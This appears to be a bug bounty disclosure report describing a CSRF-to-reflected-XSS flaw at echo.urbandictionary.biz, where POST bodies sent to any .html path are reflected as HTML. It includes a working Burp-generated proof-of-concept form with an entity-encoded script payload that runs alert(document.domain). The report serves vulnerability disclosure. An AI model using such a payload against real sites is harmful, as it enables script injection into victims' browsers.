CSRF to Reflected XSS at echo.urbandictionary.biz via spoofing content type

How it was found

Details

The host is vulnerable to XSS due to the fact that it does reflect any sent POST request body when the request sent to any existed/non-existed filename with .html extension which spoof the response content type to HTML.

Proof of Concept

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://echo.urbandictionary.biz/xsxsxs.html" method="POST" enctype="text/plain">
      <input type="hidden" name="&#13;&#10;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

{F1343026}

Impact

Typical cross site scripting impact, Injecting malicious javascript code into victim browser.